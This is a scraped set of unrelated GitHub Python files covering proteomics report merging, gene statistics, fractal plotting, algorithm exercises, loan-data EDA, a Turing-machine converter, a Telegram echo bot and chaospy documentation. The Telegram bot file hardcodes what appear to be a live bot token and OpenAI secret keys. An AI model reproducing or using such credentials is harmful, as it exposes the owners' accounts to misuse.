bbox_inches='tight')\n","repo_name":"arushton/XRB-LrLx_pub","sub_path":"lrlx_plot_simple.py","file_name":"lrlx_plot_simple.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"15347213380","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport unicodedata\nimport datetime,glob\nimport time\nimport os,subprocess,psutil,re,sys,shutil\nimport csv\n\ndef compareMerge(reportFile,tempReportFile):\n\tcsv.field_size_limit(sys.maxsize)\n\tcols=['UniProtKB Accession', 'Protein', 'Gene', 'Organism', 'Organism ID', \\\n\t'SubCellular', 'Peptide Sequence', 'Modified Peptide Sequence', 'Unique in protein',\\\n\t'Present in isoforms', 'PeptideTracker ID', 'PeptideTracker Transition',\\\n\t'Passel ID', 'Passel Transition', 'SRMAtlas ID', 'SRMAtlas Transition', \\\n\t'Cptac ID', 'CPTAC Transitions', 'Panoramaweb ID', 'Panoramaweb Transition', \\\n\t'Kegg Pathway Name', 'Disease Name', 'Go ID', 'Go Name', 'Go Term', 'Drug Bank',\\\n\t'UniprotKb entry status', 'PeptideTracker URL', 'PeptideTracker TransView', \\\n\t'Passel URL', 'Passel TransView', 'SRMAtlas URL', 'SRMAtlas TransView', \\\n\t'CPTAC URL', 'CPTAC TransView', 'Panoramaweb URL', 'Panoramaweb TransView', \\\n\t'Peptide Occurrence', 'Best Transition', 'Summary Transition']\n\thomedir = os.path.normpath(os.getcwd() + os.sep + os.pardir)\n\tmovefilepathTempReport=os.path.join(homedir, 'updatefile', tempReportFile)\n\tfilepathReport = os.path.join(homedir, 'src/mappermotherfile', reportFile)\n\tfilepathTempReport = os.path.join(homedir, 'src/mappermotherfile', tempReportFile)\n\n\ttempUnIDPepList=[]\n\ttempReportData=[]\n\ttempReportData.append(cols)\n\twith open(filepathTempReport,'r') as tempRepfile:\n\t\ttempRepcsvreader = csv.DictReader(tempRepfile, delimiter='\\t')\n\t\tfor trRow in tempRepcsvreader:\n\t\t\ttempList=[]\n\t\t\tif len(trRow['Modified Peptide Sequence'].strip())==0:\n\t\t\t\ttrRow['Modified Peptide Sequence']='NA'\n\t\t\ttempUnIDPepList.append(trRow['UniProtKB Accession'].strip()+trRow['Peptide Sequence'].strip()+trRow['Modified Peptide Sequence'].strip())\n\t\t\tfor c in cols:\n\t\t\t\ttempList.append(trRow[c])\n\t\t\ttempReportData.append(tempList)\n\n\tprint(\"Temp Done\",str(datetime.datetime.now()))\n\trepUnIDPepList=[]\n\twith open(filepathReport,'r') as repfile:\n\t\trepcsvreader = csv.DictReader(repfile, delimiter='\\t')\n\t\tfor rRow in repcsvreader:\n\t\t\tif len(rRow['Modified Peptide Sequence'].strip())==0:\n\t\t\t\trRow['Modified Peptide Sequence']='NA'\n\t\t\trepUnIDPepList.append(rRow['UniProtKB Accession'].strip()+rRow['Peptide Sequence'].strip()+rRow['Modified Peptide Sequence'].strip())\n\t\n\tprint(\"Report Done and Length of old number of Unique UniID and new Unique UniID\",len(set(repUnIDPepList)),len(set(tempUnIDPepList)),str(datetime.datetime.now()))\n\tdiffRepUniIDPepList=list(set(repUnIDPepList) - set(tempUnIDPepList))\n\tprint(\"Length of Difference\",len(diffRepUniIDPepList),str(datetime.datetime.now()))\n\tgetindex=[repUnIDPepList.index(i) for i in diffRepUniIDPepList]\n\trepUnIDPepList=[]\n\ttempUnIDPepList=[]\n\tdiffRepUniIDPepList=[]\n\tprint(\"Difference Done\",str(datetime.datetime.now()))\n\n\twith open(filepathReport,'r') as arepfile:\n\t\tarepcsvreader = csv.DictReader(arepfile, delimiter='\\t')\n\t\tfor num, line in enumerate(arepcsvreader):\n\t\t\tif num in getindex:\n\t\t\t\ttempList=[]\n\t\t\t\tfor c in cols:\n\t\t\t\t\ttempList.append((dict(line))[c])\n\t\t\t\ttempReportData.append(tempList)\n\n\tprint(\"Difference Added\",str(datetime.datetime.now()))\n\n\twith open(tempReportFile,'wb') as rf:\n\t\trwriter =csv.writer(rf,delimiter='\\t')\n\t\trwriter.writerows(tempReportData)\n\tshutil.move(movefilepathTempReport,filepathTempReport)","repo_name":"uvic-proteincentre/MRMAssayDB","sub_path":"peptidemapper/updatefile/compareMerge.py","file_name":"compareMerge.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"46713146002","text":"import os.path as osp\nfrom Bio import SeqIO\nimport pandas as pd\nimport argparse\nimport json\n\n\n#helper function to extract the cds regions from the gff3 file\ndef extract_cds(gff3_file):\n\n with open(gff3_file, \"r\") as gff3:\n lines = gff3.readlines()\n\n #if the gff3 file doesn't have the right header we throw an exception\n if(lines[0].startswith(\"##gff-version 3\") == False):\n raise Exception(\"gff3 file missing header ##gff-version 3\")\n\n gff3_dict = {\n \"seqid\": [],\n \"source\": [],\n \"type\": [],\n \"start\": [],\n \"end\": [], \n \"strand\": [],\n \"phase\": [],\n }\n for line in lines:\n if(\"CDS\" in line):\n split_lines = line.split(\"\\t\")\n\n #we don't care about negative strands\n #WAS COMMENTED BEFORE CHANGES\n if(split_lines[6] == \"-\"):\n continue\n\n #adding the cds value to the dictionary\n index = 0\n for key in gff3_dict.keys():\n if(key == \"strand\"):\n index += 1\n gff3_dict.setdefault(key, []).append(split_lines[index])\n index += 1\n df = pd.DataFrame(data=gff3_dict)\n return df\n\ndef sum_dict(d):\n d_sum = 0\n for value in d.values():\n d_sum += value\n return d_sum\n\ndef average_dict(d):\n total = sum_dict(d)\n for key in d.keys():\n d[key] = d[key]/total\n return d\n\ndef get_genic_intergenic_regions(fasta_file, df):\n genic_regions = []\n intergenic_regions = []\n\n #iterating over every sequence in the fasta file\n for seq_record in SeqIO.parse(fasta_file, \"fasta\"):\n position = 0\n\n #getting the subset of the dataframe that corresponds to this section of the fasta sequence\n df_seq = df.loc[df[\"seqid\"] == seq_record.id]\n for _, row in df_seq.iterrows():\n start = int(row[\"start\"])\n end = int(row[\"end\"])\n genic_regions.append(seq_record.seq[start - 1 : end])\n if(position < start - 1):\n intergenic_regions.append(seq_record.seq[position : start - 1])\n else:\n print(f\"Position: {position} was greater than or equal to start - 1: {start -1} (overlapping genes)\")\n position = end\n intergenic_regions.append(seq_record.seq[position:])\n return genic_regions, intergenic_regions\n\n#helper function that gets the average length of a list of regions\ndef get_average_length_of_region(regions):\n lengths = [len(i) for i in regions]\n total_length = sum(lengths)\n total_regions = len(lengths)\n return total_length/total_regions\n\ndef calc_codon_stats(genic_regions):\n #variable to track start codons\n start_codon_freq = {}\n\n #store the codon frequency in genic regions (that aren't the end or start region)\n middle_codon_freq = {}\n\n #variable to track previous codon (used to check end codon probabilties)\n end_codon_freq = {}\n\n for region in genic_regions:\n #updating the frequencies for the middle_codon region \n #(we will overcount by including start and end codons but account for this after iteration)\n for i in range(int(len(region)/3)):\n codon = str(region[i*3:(i+1)*3])\n middle_codon_freq[codon] = 1 if codon not in middle_codon_freq else middle_codon_freq[codon] + 1\n\n #adding the start codon to the start_codon_freq\n codon = str(region[0:3])\n start_codon_freq[codon] = 1 if codon not in start_codon_freq else start_codon_freq[codon] + 1\n #we need to remove a count from the middle codon_freq since we would have counted the start codon as a middle codon\n middle_codon_freq[codon] -= 1\n\n #adding the end codon to the end_codon_freq\n codon = str(region[-3:])\n end_codon_freq[codon] = 1 if codon not in end_codon_freq else end_codon_freq[codon] + 1\n #we need to remove a count from the middle codon_freq since we would have counted the end codon as a middle codon\n middle_codon_freq[codon] -= 1\n \n #getting the frequencies\n start_codon_freq = average_dict(start_codon_freq)\n middle_codon_freq = average_dict(middle_codon_freq)\n end_codon_freq = average_dict(end_codon_freq)\n return start_codon_freq, middle_codon_freq, end_codon_freq\n\ndef calc_nucleotide_stats(intergenic_regions):\n nucleotide_freq = {\"A\": 0, \"C\": 0, \"G\": 0, \"T\": 0}\n for region in intergenic_regions:\n for nucleotide in region:\n nucleotide_freq[str(nucleotide)] += 1\n nucleotide_freq = average_dict(nucleotide_freq)\n return nucleotide_freq\n\ndef compute_stats(fasta_file, df):\n #getting genic and intergenic regions based on gff3 file (in dataframe) and fasta file\n genic_regions, intergenic_regions = get_genic_intergenic_regions(fasta_file, df)\n\n #getting average region length for both genic and intergenic regions\n genic_region_av_length = int(round(get_average_length_of_region(genic_regions), 0))\n intergenic_region_av_length = int(round(get_average_length_of_region(intergenic_regions), 0))\n start_codon_freq, middle_codon_freq, end_codon_freq = calc_codon_stats(genic_regions)\n nucleotide_freq = calc_nucleotide_stats(intergenic_regions)\n\n final_json = {\n \"average_length_ig\": intergenic_region_av_length,\n \"average_length_g\": genic_region_av_length,\n \"ig_nucleotides_freq\": nucleotide_freq,\n \"g_codons_freq\": middle_codon_freq,\n \"codon_start_p\": start_codon_freq,\n \"codon_end_p\": end_codon_freq\n }\n\n with open(\"stats.json\", \"w\") as fp:\n json.dump(final_json, fp, indent=2)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"gff3\", help=\"The GFF3 file that accompanies the Fasta file\")\n parser.add_argument(\"fasta\", help=\"The Fasta file that contains gene info\")\n\n args = parser.parse_args()\n\n #path to the gff3 and fasta files\n gff3 = args.gff3\n fasta = args.fasta\n\n df = extract_cds(gff3)\n #stats_calc(fasta, df) \n compute_stats(fasta, df)\n\nif __name__ == '__main__':\n main()","repo_name":"ryrutherford/gene-prediction","sub_path":"src/stats_calc.py","file_name":"stats_calc.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35828122869","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 21 13:47:01 2018\n\n@author: J73072\n\"\"\"\n\n# -*- coding: utf-8 -*-\n#Name: Fractal Visualizer\n#Author: Sean Pope\n\n#Example use of the fractal engine and coefficients.\n#Plots a simple representation of the solution set from the engine.\n#This example is optimized for the sine transform.\n#It also reports time statistics per frame for benchmarking.\n\nimport matplotlib.pyplot as plt\nimport PyFrac as pf\nimport time\n\n\nplt.style.use('dark_background')\n\nax = plt.subplot(111,frameon=False) #Create a figure and axes for drawing.\nax.axes.get_xaxis().set_visible(False) #Hide axis\nax.axes.get_yaxis().set_visible(False)\nplt.xlim(-1,1) #This function looks best in the biunit square.\nplt.ylim(-1,1)\n\n\ndef quitloop(*args): #Closes the event loop when no longer needed.\n global run\n run = 0\n return\n\nfig = plt.gcf() #Get the figure that pyplot spawned.\nfig.canvas.mpl_connect('close_event', quitloop) #If the window is closed, exit loop to free the kernel\nfig.canvas.mpl_connect('key_press_event', quitloop) #If a button is pressed, close everything.\n\nrun = 1\nframecount = 0\n\nwhile(run):\n start = time.time()\n framecount += 1\n coeffs = pf.coeffs.rand() #See the fractcoeffs file for other premade coefficient blocks.\n\n fractal = pf.engine.fractpoints(coeffs,50000,pf.variations.sin) #Run the engine to get a figure.\n fractime = time.time()\n\n plt.clf()\n plt.scatter(fractal['x'], fractal['y'], #Get the x,y coordinates for each point\n marker='.', alpha=1, #Use small pixel markers with low opacity\n c=fractal['color'], cmap='viridis', #Map the color row to this colormap.\n s=10, edgecolor='none'\n )\n\n end = time.time()\n print(\"Frame:\\t%i\\tFractal:\\t%f\\tPlot:\\t%f\\tTotal:\\t%f\" %\n (framecount, fractime - start, end - fractime, end - start))\n\n plt.pause(1)","repo_name":"BatsiBoy/PyFrac","sub_path":"examples/sinvis.py","file_name":"sinvis.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30003724115","text":"def calc(row, left, right, s):\n # 범위 연산은 공통이므로\n if not (1 <= row <= h) or left < 1 or right >= 2 * row:\n return\n s += sum[row][right] - sum[row][left - 1]\n global ans\n if ans < s:\n ans = s\n if left % 2 == 1: # 홀수\n calc(row + 1, left, right + 2, s)\n else: # 짝수\n calc(row - 1, left - 2, right, s)\n\n\ntc = 0\nwhile True:\n tc += 1\n inputs = list(map(int, input().split()))\n h = inputs[0]\n if h == 0:\n break\n # 리스트, 누적합\n a = [[]] # 빈 리스트 a[0] 뒤에 이어 붙인다\n sum = [[]]\n k = 1\n for i in range(1, h + 1):\n a.append([0] * (2 * i)) # 그때그때 초기화\n sum.append([0] * (2 * i)) # 누적합 계산하기 편하도록 0을 비운다\n for j in range(1, 2 * i):\n a[i][j] = inputs[k]\n k += 1\n sum[i][j] = sum[i][j - 1] + a[i][j]\n\n ans = -1000\n for i in range(1, h + 1):\n for j in range(1, 2 * i):\n calc(i, j, j, 0)\n print(str(tc) + \". \" + str(ans))","repo_name":"jaelyangChoi/CodingTest","sub_path":"brute_force/삼각형의 값.py","file_name":"삼각형의 값.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24920944771","text":"import os\nfrom setuptools import setup\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name = \"pyAccess\",\n version = \"0.0.1\",\n author = \"Ronald van Haren, Oscar Martinez Rubi\",\n author_email = \"r.vanharen@esciencecenter.nl\",\n description = (\"\"),\n license = \"Apache 2.0\",\n keywords = \"VOEvent, FRBCAT\",\n url = \"https://github.com/TRASAL/pyAccess\",\n packages=['pyAccess'],\n package_data={'pyAccess': ['mapping.txt']},\n scripts=['pyAccess/scripts/decode_VOEvent',\n 'pyAccess/scripts/create_VOEvent'],\n long_description=read('README.md'),\n classifiers=[\n \"Development Status :: 2 - Pre-Alpha\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"License :: OSI Approved ::Apache Software License\",\n ],\n)\n\n","repo_name":"TRASAL/pyAccess","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1880389990","text":"import redis\n\nclass Baking:\n# создаем печеньки, количество печенек будет конечно, и базу нельзя будет изменить\n def __init__(self):\n self.id = []\n self.owner = []\n\n def size(self,dbkey):\n # присваиваем переменной test1 значение 5\n r = redis.StrictRedis(host='localhost', db=dbkey)\n return r.dbsize()\n\n @staticmethod\n def clear(dbkey):\n # получаем из переменной test1 значение\n r = redis.StrictRedis(host='localhost', db=dbkey)\n r.flushdb()\n\n def baking(self, dbkey):\n r = redis.StrictRedis(host='localhost', db=dbkey)\n data = {}\n strvalue1 = '4SzkNXVjE9tFhBJWYKLPFfKcqxSY'\n strvalue2 = 'U12cyWUQMYBtFnuMCjrr2FmCfnS'\n for i in range(0, 10):\n r.rpush(i, strvalue1)\n r.rpush(i, 0.5)\n r.rpush(i, strvalue2)\n r.rpush(i, 0.5)\n r_str_get = r.lindex(i, 0).decode() + ' - ' + r.lindex(i, 1).decode() + ';' + r.lindex(i, 2).decode() + ' - ' + r.lindex(\n i, 3).decode()\n data[i] = r_str_get\n r.bgsave()\n return data","repo_name":"lapitskiy/atom","sub_path":"baking.py","file_name":"baking.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31953204771","text":"# 수 이어 붙이기\n# keyword : 완전 탐색, 순열, permutations()\n# return : 10-99의 수를 가진 N개의 카드 중 만들 수 있는 가장 작은 수 출력\n\n\"\"\"\n1. 제한 조건\n- 카드 개수 1 <= N <= 8\n- 카드에 적힌 수 10 <= A(i) <= 99\n\n2. 문제 분석\n- 두 카드에 적힌 숫자의 일부가 같다면 겹쳐서 이어붙일 수 있다\n- 카드를 이어붙여서 만들 수 있는 수 중 가장 작은 수 구하기\n- N의 제한이 8 > 가능한 모든 배치 방법을 시도하는 방법 O(N * N!) 가능\n\n3. 순열과 조합\n- N개의 원소 중 K개의 원소 고르는 경우의 수\n- 순열 : 순서 고려함\n- 조합 : 순서 고려하지 않음\n- 문제에서 선택하는 순서가 중요한지 판단\n\n4. 순열 구현 : permute_1\n- 재귀 + swap 사용\n- 현재 n번 원소까지 순열의 위치를 고정했을 때, \n- n+1번 원소가 가질 수 있는 값들은 현재 배열에서 n+1번째 원소부터 N번 원소 사이 값들\n- n+1 ~ N번째 원소들을 하나하나 현재 위치에 swap 해보면서 모든 순열을 순회\n\n5. 순열 구현 : permute_2\n- 원래 배열의 원소는 그대로 두기\n- 재귀 + used 배열 사용\n- used 배열 : 원소를 사용했는지 여부를 나타내는 배열\n- 사전 순으로 모든 순열을 순회할 때는 배열 정렬 후 permute_2 방식 사용해야 함\n\n6. 순열 라이브러리\n- permutations(iterable, r)\n- iterable : 반복 가능한 객체, 순열 뽑을 배열\n- r : 뽑고자 하는 순열의 길이\n\"\"\"\n\ndef permute_1(arr, n):\n if len(arr) == n:\n print(arr)\n return\n for i in range(n, len(arr)):\n arr[n], arr[i] = arr[i], arr[n]\n permute_1(arr, n + 1)\n arr[n], arr[i] = arr[i], arr[n]\n\n # [1, 2, 3] ... [3, 2, 1], [3, 1, 2]\n\n\ndef permute_2(arr):\n new = [0 for _ in range(len(arr))]\n used = [0 for _ in range(len(arr) + 1)]\n\n def permute(old, new, n):\n if len(old) == n:\n print(new)\n return\n for i in range(0, len(old)):\n if used[i]: continue\n used[i] = 1\n new[n] = old[i]\n permute(old, new, n+1)\n used[i] = 0\n\n permute(arr, new, 0)\n\n # [1, 2, 3] ... [3, 1, 2], [3, 2, 1]\n\n\ndef nums_merge_1(cards):\n new = [0 for _ in range(8)]\n used = [0 for _ in range(8)]\n global ans \n ans = 1e18\n\n # 숫자 합치기\n def calculate(new):\n ret = new[0]\n for i in range(1, len(cards)):\n if ret % 10 == new[i] // 10:\n ret = ret * 10 + new[i] % 10\n else:\n ret = ret * 100 + new[i]\n return ret\n\n def permute(old, new, n):\n global ans\n # n번째 요소까지 다 정했을 때 최솟값을 ans에 저장\n if len(old) == n:\n ans = min(ans, calculate(new))\n return\n for i in range(0, len(old)):\n if used[i]: continue\n used[i] = 1\n new[n] = old[i]\n permute(old, new, n+1)\n used[i] = 0\n \n permute(cards, new, 0)\n return ans\n\n\ndef nums_merge_2(cards):\n from itertools import permutations\n \n n = len(cards)\n cards.sort()\n\n answer = 1e18\n for order in permutations(cards, n):\n cur = order[0]\n for i in range(1, n):\n # 현재 값의 1의 자리와 10의 자리가 같은지 확인\n if cur % 10 == order[i] // 10:\n cur = cur * 10 + order[i] % 10\n else:\n cur = cur * 100 + order[i]\n answer = min(answer, cur)\n\n return answer\n\n\nif __name__ == '__main__':\n\n import sys\n input = sys.stdin.readline\n\n test_cases = [[42, 31, 16, 19],\n [87, 88]] # 1631942, 887\n\n for case in test_cases:\n print(permute_1(case, 0))\n print(permute_2(case))\n print(nums_merge_1(case))\n print(nums_merge_2(case))","repo_name":"hanna-joo/Self_Coding","sub_path":"python/01_python_basic/03_goorm/brute_force_03.py","file_name":"brute_force_03.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"813159519","text":"### EDA\n\n\n# Perform EDA on the dataset\nimport matplotlib.pyplot as plt\nplt.rc('font', size=14)\nimport seaborn as sns\nsns.set(style='white')\nsns.set(style='whitegrid', color_codes=True)\nimport pandas as pd\nfrom wordcloud import WordCloud\n\nimport chart_studio\nimport plotly.graph_objs as go\nfrom plotly.offline import init_notebook_mode,iplot\ninit_notebook_mode(connected=True)\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef is_categorical(array_like):\n '''\n Check if a column of data is categorical \n '''\n return array_like.dtype.name == 'category'\n\ndef Get_simple_distribution(df, x):\n '''\n Plot the distribution simple graph\n '''\n title_name = \"Distribution of \" +x\n sns.displot(data=df, x=x, multiple = \"stack\").set(title=title_name)\n \ndef Get_correlation_matrix(df):\n\n corrMatrix = df.corr()\n sns.heatmap(corrMatrix, annot=True).set(title= \"Correlation between all features\")\n plt.show()\n\ndef Get_numeric_visualize(df,x,y):\n '''\n Get density for specific variable x respect to default group and non-default group\n\n Input:\n x : variable to concern\n y : Label, loan_status here\n df : DataFrame, loan_data here\n\n Output:\n The density plot for specific variable x respect to default group and non-default group\n '''\n\n\n # if is_categorical(df[x])==True:\n # sns.displot(data=df, x=\"loan_status\", hue=x, multiple = \"stack\")\n # else:\n # # Without transparency\n # sns.kdeplot(data=df, x=x, hue=\"loan_status\", cut=0, fill=True, common_norm=False, alpha=0.4)\n title_name = \"Distribution of \" + x + \" in terms of \" + y\n sns.kdeplot(data=df, x=x, hue=y, cut=0, fill=True, common_norm=False, alpha=0.4).set(title=title_name)\n \n\n\ndef Get_category_visualize(df,x,y, increase_size = False):\n '''\n Get count plot for specific variable x respect to default group and non-default group\n\n Input:\n x : variable to concern\n y : Label, loan_status here\n df : DataFrame, loan_data here\n\n Output:\n The count plot for specific variable x respect to default group and non-default group\n '''\n\n if increase_size == False:\n title_name = \"Distribution of \" + y + \" in terms of \" + x\n sns.displot(data=df, x=y, hue=x, multiple = \"stack\").set(title=title_name)\n\n\n title_name = \"Distribution of \" + y + \" in terms of \" + x\n p= sns.displot(data=df, x=y, hue=x, multiple = \"stack\", aspect=1.5).set(title=title_name)\n p.fig.set_dpi(400)\n # plt.show()\n\n\n\ndef Get_text_visualize(df,x,y = 'loan_status'):\n '''\n Using wordcloud to visualize text data\n\n Input:\n x : variable to concern\n y : Label, loan_status here\n df : DataFrame, loan_data here\n\n Output:\n The wordcloud plot for specific variable x respect to default group\n '''\n\n\n # drop NAs\n df.dropna(inplace = True)\n\n df_charged_off = df.loc[df['loan_status'] == 'Charged Off']\n print(df_charged_off.shape)\n string = df_charged_off.emp_title.astype(str)\n string.replace(' ', '_', regex=True)\n string_df = ' '.join(string)\n word_cloud = WordCloud(collocations = False, background_color = 'white').generate(string_df)\n plt.imshow(word_cloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.title(\"Charged Off Status: popular job title\")\n plt.show()\n\n df_charged_off = df.loc[df['loan_status'] != 'Charged Off']\n print(df_charged_off.shape)\n string = df_charged_off.emp_title.astype(str)\n string.replace(' ', '_', regex=True)\n string_df = ' '.join(string)\n word_cloud = WordCloud(collocations = False, background_color = 'white').generate(string_df)\n plt.imshow(word_cloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.title(\"Fully Paid Status: popular job title\")\n plt.show()\n\n\n\ndef Get_map_visualize(df, x ,y ):\n '''\n def Get_map_visualize(df, x = 'addr_state',y ='loan_status'):\n\n Using map plot to visualize spatial data\n\n Input:\n df : DataFrame, loan_data here\n x : 'addr_state', spatial information\n y : Label, loan_status here\n\n Output:\n The map for specific variable x respect to default group\n '''\n \n\n title_name = \"Distribution of \" + y + \"by state\"\n p= sns.displot(data=df, x = 'addr_state',hue =y, multiple = \"stack\", height=10, aspect=1.5).set(title=title_name)\n plt.show()\n p.fig.set_dpi(400)\n\n\ndef Get_state_percentage_visulize(df, group_by):\n '''\n Visualize state data for percentage of a given feature\n '''\n (df.groupby('addr_state')[group_by].value_counts(normalize=True).unstack(group_by).plot.bar(stacked=True))\n","repo_name":"jerryyao-uofc/Big_Data_Chicago_BOOTH","sub_path":"A2/EDA.py","file_name":"EDA.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18461168014","text":"import load, save\nstates, symbols, default, table, desc = load.machine\nassert symbols <= 256, \"too many symbols for asciification\"\n\nsym_to_ascii = [None] * symbols\nascii_to_sym = [None] * max(ord(' ') + symbols, max(map(ord,desc)) + 1)\n\nfree_sym = None\nfor i in range(ord(' '), 126):\n\tif chr(i) not in desc:\n\t\tfree_sym = chr(i)\nif free_sym == None:\n\tassert '\\t' not in desc\n\tfree_sym = '\\t'\n\nfor i, d in enumerate(desc):\n\tod = ord(d)\n\tsym_to_ascii[i] = od\n\tassert ascii_to_sym[od] == None\n\tascii_to_sym[od] = i\n\nfor i in range(symbols):\n\tif sym_to_ascii[i] == None:\n\t\tidx = ascii_to_sym.index(None, ord(' '))\n\t\tsym_to_ascii[i] = idx\n\t\tascii_to_sym[idx] = i\n\nntable = {}\n\nfor line in table.items():\n\tkey, value = line\n\tstate, symbol = key\n\tostate, osymbol, omove = value\n\tsymbol = sym_to_ascii[symbol]\n\tosymbol = sym_to_ascii[osymbol]\n\tntable[(state, symbol)] = (ostate, osymbol, omove)\n\nsave.save_machine(states, len(ascii_to_sym), sym_to_ascii[default], ntable, \"\".join((free_sym if x < 32 else chr(x)) for x in range(len(ascii_to_sym))))\n","repo_name":"celskeggs/misc-turing","sub_path":"toascii.py","file_name":"toascii.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38513041460","text":"import aiohttp\r\nimport aiogram.utils\r\nimport aiogram.utils.markdown as md\r\n# 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\r\nfrom aiogram import Bot, Dispatcher, executor, types, utils\r\nAPI_TOKEN='5965750764:AAHcEVzjjcWDsipsPI-rmXEJIUtIbAGPuVM'\r\nbot = Bot(token=API_TOKEN)\r\ndp = Dispatcher(bot)\r\n@dp.message_handler(commands=['start'])\r\nasync def send_welcome(message:types.Message):\r\n await message.reply(\"hello there, send me request!\")\r\n@dp.message_handler()\r\nasync def echo(message: types.Message):\r\n await message.answer(message.text)\r\nif __name__ == '__main__':\r\n executor.start_polling(dp, skip_updates=True)\r\n\r\n# connecting ChatGPT\r\n# chatgpt_url= 'https://api.openai.com/v1/engines/chatbot/jobs'\r\n# async def chatgpt_response(message):\r\n# headers ={\r\n# 'Content-Type': 'application/json',\r\n# 'Authorization':f'bearer {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}'\r\n# }\r\n# data = {\r\n# 'engine': 'text-davinci-002',\r\n# 'prompt': message,\r\n# 'temperature': 0.5,\r\n# 'max_tokens': 100,\r\n# 'top_p': 1,\r\n# 'frequency_penalty': 0,\r\n# 'presence_penalty': 0\r\n# }\r\n# async with aiohttp.ClientSession() as session:\r\n# async with session.post(chatgpt_url) as resp:\r\n# response_text= await resp.json()\r\n# return response_text['choices'][0]['text']\r\n# @dp.message_handler(commands='start')\r\n# async def cmd_start(message: Message):\r\n# await bot.send_message(chat_id=message.chat.id, text='hi! i am chatgpt powered bot, how i can help?')\r\n# if __name__ == '__main__'\r\n# executor.start_polling(dp, skip_updates=True)","repo_name":"nighbee/personalprojects","sub_path":"1telegram_bot/mm.py","file_name":"mm.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10746947478","text":"\"\"\"\nConstructing custom probability distributions is done in one of two ways:\nSublcassing the :class:`~chaospy.dist.Dist` or by calling\n:func:`~chaospy.dist.construct`. They work about the same except for one\nmethods are defined, while in the other, functions.\n\nA simple example for constructing a simple uniform distribution::\n\n >>> def cdf(self, x, lo, up):\n ... return (x-lo)/(up-lo)\n >>> def bnd(self, lo, up):\n ... return lo, up\n >>> Uniform = cp.construct(cdf=cdf, bnd=bnd)\n >>> dist = Uniform(-3, 3)\n >>> print(dist.fwd([-3, 0, 3]))\n [ 0. 0.5 1. ]\n\nHere ``cdf`` is the dependent cumulative distribution function as defined in\nequation , ``bnd`` is a function returning the lower and upper bounds, and\n``a`` and ``b`` are distribution parameters. They take either other\ncomponents, or as illustrated: constants.\n\n\nIn addition to ``cdf`` and ``bnd`` there are a few optional arguments. For\nexample a fully featured uniform random variable is defined as follows::\n\n >>> def pdf(self, x, lo, up):\n ... return 1./(up-lo)\n >>> def ppf(self, q, lo, up):\n ... return q*(up-lo) + lo\n >>> Uniform = cp.construct(\n ... cdf=cdf, bnd=bnd, pdf=pdf, ppf=ppf)\n >>> dist = Uniform(-3, 3)\n\nThere ``pdf`` is probability distribution function and ``ppf`` if the point\npercentile function. These are methods that provides needed functionality for\nprobabilistic collocation. If they are not provided during construct, they are\nestimated as far as possible.\n\nEquivalently constructing the same distribution using subclass:\n:func:`~chaospy.dist.construct`::\n\n >>> class Uniform(cp.Dist):\n ... def __init__(self, lo=0, up=1):\n ... cp.Dist.__init__(self, lo=lo, up=up)\n ... def _cdf(self, x, lo, up):\n ... return (x-lo)/(up-lo)\n ... def _bnd(self, lo, up):\n ... return lo, up\n ... def _pdf(self, x, lo, up):\n ... return 1./(up-lo)\n ... def _ppf(self, q, lo, up):\n ... return q*(up-lo) + lo\n ... def _str(self, lo, up):\n ... return \"u(%s%s)\" % (lo, up)\n >>> dist = Uniform(-3, 3)\n >>> print(dist.fwd([-3, 0, 3])) # Forward Rosenblatt transformation\n [ 0. 0.5 1. ]\n\n\"\"\"\nimport types\nimport numpy as np\n\nfrom . import rosenblatt\nfrom .approx import pdf_full, inv, mom, find_interior_point\n\nfrom .graph import Graph\nfrom .sampler import samplegen\n\nstring = str # will be overridden locally\n#operators imported at end\n\n__all__ = [\n \"Dist\", \"construct\"\n]\n\nclass Dist(object):\n \"\"\"\n The distribution backend class.\n\n Subclass this module to construct a custom distribuiton.\n\n If direct subclass of Dist, two method must be provided:\n\n * Cumulative distribution function (CDF): ``_cdf(self, x, **prm)``.\n * Upper and lower bounds ``_bnd(self, **prm)``.\n\n The following can be provided:\n\n * Probability density function: ``_pdf(self, x, **prm)``.\n * CDF inverse: ``_ppf(self, q, **prm)``.\n * Statistical moment generator: ``_mom(self, k, **prm)``.\n * TTR coefficients generator: ``_ttr(self, k, **prm)``.\n * Pretty print of distribution: ``_str(self, **prm)``.\n\n Alternative use the construct generator :func:`~chaospy.dist.construct`.\n \"\"\"\n\n def __init__(self, **prm):\n \"\"\"\n Args:\n _length (int) : Length of the distribution\n _advanced (bool) : If True, activate advanced mode\n 